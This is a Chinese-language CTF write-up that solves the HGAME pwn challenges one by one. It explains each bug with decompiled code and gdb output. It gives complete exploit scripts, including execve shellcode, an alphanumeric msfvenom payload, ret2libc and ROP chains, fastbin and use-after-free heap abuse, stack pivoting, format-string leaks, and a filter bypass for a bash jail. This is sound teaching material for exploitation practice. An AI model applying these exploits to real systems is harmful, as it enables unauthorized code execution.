终于补完了Hgame的pwn,学到很多新姿势。
guess_number
1 | printf("enter your guess:"); |
虽然开了canary,但是只要输入的东西覆盖到随机数,判断一样就cat flag了。1
2gdb-peda$ distance 0xffffd39c 0xffffd4b0
From 0xffffd39c to 0xffffd4b0: 276 bytes, 69 dwords
计算一下输入位置和随机数的距离,输入一堆’1’,atoi
会将输入转成0x7fffffff。那么payload:python -c "from pwn import *;print '1'*276+p32(0x7fffffff)" |nc 111.230.149.72 10002
flag_server
1 | printf("your username length: "); |
虽然限制了username长度,可以输入负数直接绕过,然后输入一大堆’1’,将v10覆盖了就OK。
zazahui
神经病题目~1
2
3
4v0 = fopen("ad", "r");
v1 = fopen("flag", "r");
__isoc99_fscanf(v0, "%s", &ad);
return __isoc99_fscanf(v1, "%s", &flag);
广告词和flag都读到bss段了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21s = (char *)&ad;
v3 = 100;
while ( 1 )
{
if ( !v3 )
return puts(&::s);
printf(&format, v3);
puts(s);
printf("> ");
getinput((int)&s1, 188);
if ( !strcmp(&s1, "fuck it") )
break;
if ( !strcmp(&s1, s) )
{
puts("me too! again!!!\n");
--v3;
}
else
{
puts("that's not right :(\n");
}
只要将s覆盖成flag的地址就可以,不用计算距离,直接干!payload:python -c "from pwn import *;print 100*p32(0x0804A060)" |nc 111.230.149.72 10003
zazahui_ver2
打印广告词的代码移到while外了,不会每轮都打印广告,思路是照样覆盖s为flag地址,在strcmp那里做爆破,由于flag是0x00结尾,我们可以输入0x00,然后flag地址不停+1,直到提示right爆破出长度,然后再从后往前逐位爆破。
1 | from pwn import * |
ez_shellcode
超简单的shellcode,直接干就行了1
2
3
4
5from pwn import *
p = remote('111.230.149.72',10004)
payload = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
p.sendlineafter('> ',payload)
p.interactive()
ez_shellcode_ver2
一样是写shellcode,但是只能是大写字母和数字,可以用msfvenom生成1
2msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_upper BufferRegister=EAX -f python
shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJDKF8MI1BE62HVMSSMYM7E8VOSCCX302HFO2BU92NK9M3QBZHUXEPUPS0VOE2SY2NFO2S58C00WPSK9KQ8MMPAA"
bash_jail
hint:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
241.目录结构:
/# ls -l
total 32
-rwxr-x--- 1 root ctf 6352 Feb 13 04:26 bash_jail
drwxr-xr-x 2 root root 4096 Feb 13 04:28 bin
drwxr-xr-x 2 root root 4096 Feb 13 04:28 dev
-rwxr----- 1 root ctf 38 Feb 13 04:26 flag
drwxr-xr-x 27 root root 4096 Feb 13 04:27 lib
drwxr-xr-x 3 root root 4096 Feb 13 04:27 lib32
drwxr-xr-x 2 root root 4096 Feb 13 04:27 lib64
/bin# ls -l
total 340
-rwxr-xr-x 1 root root 52080 Feb 13 04:28 cat
-rwxr-xr-x 1 root root 126584 Feb 13 04:28 ls
-rwxr-xr-x 1 root root 154072 Feb 13 04:28 sh
2.考虑下system源码?
https://code.woboq.org/userspace/glibc/sysdeps/posix/system.c.html#do_system
3.学习一下shell的变量,正则等等?
https://linux.die.net/man/1/bash
4.如果正赛出这种题,大概是这样的:https://www.youtube.com/watch?v=6D1LnMj0Yt0
伪代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
size_t *v3; // rsi
char *lineptr; // [rsp+8h] [rbp-18h]
size_t n; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v3 = 0LL;
setvbuf(stdout, 0LL, 2, 0LL);
lineptr = 0LL;
puts("===== easy bash jail =====");
while ( 1 )
{
printf("> ", v3);
v3 = &n;
getline(&lineptr, &n, stdin);
if ( (unsigned int)sub_400706(lineptr) ) //过滤了一些关键字母 abcfhgilnst*
puts("hacker!! go away~~ QAQ");
else
system(lineptr);
}
}
方法一:考虑到system执行命令时argv[0]
是sh(见源码),而argv[0]
可以用$0
这个变量来打印因此只要输入 $0
即可getshell.
方法二:可以用 ???/??? ????
,?
可以做通配符,根据提示???/???
可以匹配到/bin/cat
hacker_system_ver1
程序提供了add,print和delete的功能1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44void __cdecl __noreturn main()
{
int v0; // eax
setvbuf(stdout, 0, 2, 0);
sub_80489BB();
puts("Welcome to hacker system ver1.0\n\n");
while ( 1 )
{
while ( 1 )
{
menu();
printf("> ");
v0 = read_int();
if ( v0 != 2 )
break;
print_hacker();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
del_hacker();
}
else
{
if ( v0 == 4 )
{
puts("bye.");
exit(0);
}
LABEL_15:
puts("invaild command.");
}
}
else
{
if ( v0 != 1 )
goto LABEL_15;
if ( add_hacker() == -1 )
puts("add failed.");
}
}
}
print和delete都有简单的栈溢出可利用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35int sub_8048A20()
{
int result; // eax
char s1; // [esp+4h] [ebp-34h]
int v2; // [esp+24h] [ebp-14h]
int i; // [esp+28h] [ebp-10h]
int v4; // [esp+2Ch] [ebp-Ch]
printf("searched by name, input name length:");
v2 = read_int();
printf("input hacker's name:");
result = read_str((int)&s1, v2);
v4 = 0;
for ( i = 0; i <= 31; ++i )
{
result = hacker_list[i];
if ( result )
{
result = strcmp(&s1, (const char *)(hacker_list[i] + 4));
if ( !result )
{
v4 = 1;
result = printf(
"id:%u, name:%s, age:%u, intro:%s\n",
*(_DWORD *)hacker_list[i],
hacker_list[i] + 4,
*(_DWORD *)(hacker_list[i] + 36),
*(_DWORD *)(hacker_list[i] + 40));
}
}
}
if ( !v4 )
result = puts("not find!!");
return result;
}
脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from pwn import *
p = remote('111.230.149.72' , 10005)
elf = ELF('./hacker_system_ver1' )
libc = ELF('./libc32.so' )
print_hacker_addr = 0x8048a20
junk = 'a'*0x38
payload = junk + p32(elf.symbols['puts']) + p32(print_hacker_addr) + p32(elf.got['printf'])
p.sendlineafter('> ','2')
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.recvuntil('\n')
libc_base = u32(p.recv(4)) - libc.symbols['printf']
success(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
payload = junk + p32(system) + p32(0) + p32(binsh)
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.interactive()
hacker_system_ver2
同ver1,只是变成64位1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from pwn import *
p = remote('111.230.149.72' , 10008)
elf = ELF('./hacker_system_ver2' )
libc = ELF('./libc64.so' )
pr = 0x400fb3
print_hacker_addr = 0x400c63
junk = 'a'*0x38
payload = junk + p64(pr) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(print_hacker_addr)
p.sendlineafter('> ','2')
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.recvuntil('\n')
libc_base = u64(p.recv(6)+'\x00'*2) - libc.symbols['read']
success(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
payload = junk + p64(pr) + p64(binsh) + p64(system)
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.interactive()
hacker_system_ver3
hacker资料结构体:(共0x38 byte)
内容 | 大小 |
---|---|
age | 8 byte |
name | 32 byte |
id | 8 byte |
intro addr | 8 byte |
漏洞点很明显,在del那里,会删除同名的所有hacker资料,但是只情空了最后一个指针
1 | unsigned __int64 del_hacker() |
首先,先把libc基址和stack地址泄露出来。利用步骤是:
1 | add('aaa',111,'a'*0x20) |
先新建两个,intro大小为0x20,然后看一下heap1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17gdb-peda$ heap all
Top Chunk: 0x1c8e2a0
Last Remainder: 0x0
0x1c8e000
0x1c8e000 SIZE=0x40 DATA[0x1c8e010] |(.......vvv_347.................| INUSED PREV_INUSE
0x1c8e040 SIZE=0x30 DATA[0x1c8e050] |have a good command of re.......| INUSED PREV_INUSE
0x1c8e070 SIZE=0x40 DATA[0x1c8e080] |........hammer..................| INUSED PREV_INUSE
0x1c8e0b0 SIZE=0x30 DATA[0x1c8e0c0] |have a good command of web......| INUSED PREV_INUSE
0x1c8e0e0 SIZE=0x40 DATA[0x1c8e0f0] |................................| INUSED PREV_INUSE
0x1c8e120 SIZE=0x30 DATA[0x1c8e130] |have a good command of web and c| INUSED PREV_INUSE
0x1c8e150 SIZE=0x40 DATA[0x1c8e160] |........veritas501..............| INUSED PREV_INUSE
0x1c8e190 SIZE=0x30 DATA[0x1c8e1a0] |...............................j| INUSED PREV_INUSE
0x1c8e1c0 SIZE=0x40 DATA[0x1c8e1d0] |o.......aaa.....................| INUSED PREV_INUSE
0x1c8e200 SIZE=0x30 DATA[0x1c8e210] |aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0x1c8e230 SIZE=0x40 DATA[0x1c8e240] |o.......aaa.....................| INUSED PREV_INUSE
0x1c8e270 SIZE=0x30 DATA[0x1c8e280] |aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0x1c8e2a0 SIZE=0x20d60 TOP_CHUNK
然后把aaa删掉,那么现在有两个0x40的fastbin1
2
3
4
5
6
7
8gdb-peda$ heap freed
FASTBINS:
Fastbin1 :
0x1c8e270 SIZE=0x30 DATA[0x1c8e280] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0x1c8e200 SIZE=0x30 DATA[0x1c8e210] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
Fastbin2 :
0x1c8e230 SIZE=0x40 DATA[0x1c8e240] |........aaa.....................| INUSED PREV_INUSE
0x1c8e1c0 SIZE=0x40 DATA[0x1c8e1d0] |........aaa.....................| INUSED PREV_INUSE
现在,可以新建一个bbb,intro大小为0x38,就是跟结构体的大小一致,目的是伪造一个结构体。1
2
3
4
5
6
7payload = p64(222)+'puts'.ljust(0x20,'\0')+p64(222)+p64(elf.got['puts']) # len = 0x38
print len(payload)
add('bbb',222,payload)
show('puts')
p.recvuntil('intro:')
puts_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]puts addr :',hex(puts_addr)
可以看到,之前freed的两个0x40大小fastbin被利用了1
2
3
40xc6e1c0 SIZE=0x40 DATA[0xc6e1d0] |........puts....................| INUSED PREV_INUSE
0xc6e200 SIZE=0x30 DATA[0xc6e210] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0xc6e230 SIZE=0x40 DATA[0xc6e240] |........bbb.....................| INUSED PREV_INUSE
0xc6e270 SIZE=0x30 DATA[0xc6e280] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
看看hack_list的内容,第5个指针是指向我们伪造的puts,此时show puts的资料,就能把puts函数的地址泄露出来。1
2
3
4gdb-peda$ x/32gx 0x6020c0
0x6020c0: 0x0000000000c6e010 0x0000000000c6e080
0x6020d0: 0x0000000000c6e0f0 0x0000000000c6e160
0x6020e0: 0x0000000000c6e1d0 0x0000000000c6e240
stack地址泄露参考:https://github.com/Naetw/CTF-pwn-tips#leak-stack-address ,通过environ
来leak,stack偏移可以本地调试计算。
由于开了canary,通过fastbin任意地址写的时候选择没有canary保护的函数,例如用了读取字符串的read_Str,通过修改ret来getshell。
1 | def add(name,age,intro): |
calc
这条题跟之前湖湘杯的一题很想,思路也是一样,程序静态编译,直接组ROPchain就好了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43int run()
{
int v1[64]; // [esp+8h] [ebp-110h]
int v2; // [esp+108h] [ebp-10h]
int v3; // [esp+10Ch] [ebp-Ch]
puts("welcome to my calculator (alpha version)");
v2 = 0;
while ( 1 )
{
menu();
printf("> ");
switch ( read_int_3() )
{
case 1:
v3 = add_func();
printf(">>> %d\n", v3);
break;
case 2:
v3 = sub_804894E();
printf(">>> %d\n", v3);
break;
case 3:
v3 = mul_func();
printf(">>> %d\n", v3);
break;
case 4:
v3 = div_func();
printf(">>> %d\n", v3);
break;
case 5:
v1[v2] = v3;
printf("result %d save success!!\n", v1[v2++]);
break;
case 6:
return puts("bye.");
default:
puts("invaild choice.");
break;
}
putchar(10);
}
}
注意会覆盖到v2的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53from pwn import *
from struct import pack
p= process('./calc')
rop=''
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea060) # @ .data
rop+= pack('<I', 0x080b8446) # pop eax ; ret
rop+= '/bin'
rop+= pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea064) # @ .data + 4
rop+= pack('<I', 0x080b8446) # pop eax ; ret
rop+= '//sh'
rop+= pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea068) # @ .data + 8
rop+= pack('<I', 0x08049603) # xor eax, eax ; ret
rop+= pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop+= pack('<I', 0x080481c9) # pop ebx ; ret
rop+= pack('<I', 0x080ea060) # @ .data
rop+= pack('<I', 0x080dee5d) # pop ecx ; ret
rop+= pack('<I', 0x080ea068) # @ .data + 8
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea068) # @ .data + 8
rop+= pack('<I', 0x08049603) # xor eax, eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0806d445) # int 0x80
def add_save(x):
p.sendlineafter('> ','1')
p.sendlineafter('a:','0')
p.sendlineafter('b:',str(x))
p.sendlineafter('> ','5')
#padding
for i in range(69):
add_save(i)
#rop
for i in range(len(rop)/4):
add_save(u32(rop[i*4:i*4+4]))
#getshell
p.sendlineafter('> ','6')
p.interactive()
message_saver
提示是UAF,程序message结构体如下:
content | size |
---|---|
message size | 8byte |
message addr | 8byte |
encoder | 8byte |
思路是:增加一条message,然后删掉(但指针没清空),此时仍然可以编辑,编辑一个0x18大小的message,encoder修改为程序留的后门(如果没有就泄露libc地址),然后show的时候就会执行encoder位置的函数。
1 | from pwn import * |
ascii_art_maker
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
main函数中存在一个0x10比特的栈溢出,可以覆盖rbp和ret,不够组rop,本题需要用栈迁移(stack migrate
)
利用步骤:
- 伪造rbp为bss地址,然后跳回
read(0, &buf, 0x90uLL);
处扩大输入,可以发现会写入bss-0x80处。 - 第一段rop是泄露puts地址计算libc基址,写入第二段rop到bss+0x100,最后迁移stack到这里进行getshell。填充满0x80后溢出覆盖伪造rbp为bss-0x80,迁移stack到这里执行第一段rop。
- 构造第二段rop写到bss+0x100,然后迁移stack到bss+0x100执行rop。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34from pwn import *
p = process('./ascii_art_maker')
elf = ELF('./ascii_art_maker')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )
context.log_level = 'DEBUG'
#gdb.attach(p,'b *0x0400A2B')
p.recvuntil('convert:\n')
prdi = 0x400a93 # pop rdi ; ret
prsi = 0x400a91 # pop rsi ; pop r15 ; ret
prbp = 0x400640 # pop rbp ; ret
leave = 0x400a2b
read_addr = 0x4009fc
bss = 0x602c00
payload = 'a'*0x80 + p64(bss) + p64(read_addr) # write rop1 to bss-0x80
p.send(payload)
rop = p64(0xdeadbeef) + p64(prdi) + p64(elf.got['puts']) + p64(elf.symbols['puts']) # leak puts
rop += p64(prsi) + p64(bss+0x100) + p64(bss+0x100)+ p64(prdi) + p64(0) + p64(elf.symbols['read']) # write rop2 to bss+0x100
rop += p64(prbp) + p64(bss+0x100) + p64(leave) #ret to bss+0x100
rop = rop.ljust(0x80,'\x00') + p64(bss-0x80) + p64(leave) #ret to bss-0x80
p.send(rop)
addr_leak = p.recvuntil('\x7f')[-6:]
puts_addr = u64(addr_leak.ljust(8,'\0'))
print '[+] puts : ',hex(puts_addr)
libc.address = puts_addr - libc.symbols['puts']
print '[+] system: ',hex(libc.symbols['system'])
rop = p64(0x602c00)+ p64(prdi) +p64(next(libc.search('/bin/sh'))) + p64(libc.symbols['system'])
p.send(rop)
p.interactive()
base64_decoder
1 | int __cdecl main() |
有一个很显示的格式化字符串漏洞,程序只能printf两次,可以泄露stack地址,修改v1然后用DynELF,或者泄露函数地址,网上找libc。1
2
3
4
5
6
7
8
9
10
11gdb-peda$ stack 20
0000| 0xffe6ade0 --> 0xffe6adfc ("AAAA%p%p%p%p%p%p%p%p%p%p")
0004| 0xffe6ade4 --> 0x8048ad3 ("exit")
0008| 0xffe6ade8 --> 0xffe6af08 --> 0x0
0012| 0xffe6adec --> 0x8048888 (sub esp,0xc)
0016| 0xffe6adf0 --> 0xf7eff000 --> 0x23f3c
0020| 0xffe6adf4 --> 0x8048320 ("__libc_start_main")
0024| 0xffe6adf8 --> 0x2
0028| 0xffe6adfc ("AAAA%p%p%p%p%p%p%p%p%p%p")
gdb-peda$ distance 0xffe6af08 0xffe6adf8
From 0xffe6af08 to 0xffe6adf8: -272 bytes, -68 dwords
按照官方提示用DynELF做,脚本如下:(注意覆盖v1的时候不要溢出了)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28#leak stack
p.sendlineafter('> ',b64encode('AAAA%2$pBBBB'))
p.recvuntil('AAAA')
stack_addr = int(p.recvuntil('BBBB')[:-4],16)
success('stack_addr:%x',stack_addr)
#overwrite v1
payload = p32(stack_addr-0x110)+'%250c%7$hhn'
p.sendlineafter('> ',b64encode(payload))
def leak(addr):
payload = 'AAAA%10$sBBB' + p32(addr)
p.sendlineafter('> ',b64encode(payload))
p.recvuntil('AAAA')
info = p.recvuntil('BBB')[:-3]
if info == '':
return '\x00'
return info
elf = ELF('./'+target)
d = DynELF(leak,elf=elf,libcdb=False)
system_addr = d.lookup('system','libc')
success('system_addr:%x',system_addr)
payload = fmtstr_payload(7,{elf.got['printf']:system_addr})
p.sendlineafter('> ',b64encode(payload))
p.sendline(b64encode('/bin/sh\0'))
p.interactive()